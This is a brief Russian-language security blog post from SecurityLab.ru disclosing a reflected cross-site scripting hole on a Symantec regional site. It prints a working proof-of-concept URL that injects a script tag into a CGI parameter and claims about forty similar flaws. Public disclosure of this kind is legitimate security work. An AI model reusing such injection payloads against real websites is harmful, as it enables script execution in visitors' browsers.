XSS на Symantec.com #2

XSS на Symantec.com #2
Вот еще одна XSS уязвимсть на сайте Symantec. Есть около 40. Интересно, умеют ли в Симантеке читать логи :)


www.symantec.com/region/fr/cgi-bin/pitstop.cgi?http://www.symantecstore.com/dr/v2/ec_Main.Entry?SP=10007"><script>alert('www.securitylab.ru')</script>&SID=27681&CID=207372
Security
Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.

Эксплойт без патча? Узнай первым

В реальном времени: уязвимые версии, индикаторы компрометации и быстрые меры. Не читай — действуй.


Валерий Марчук

Блог посвящен безопасности и жизни секлаба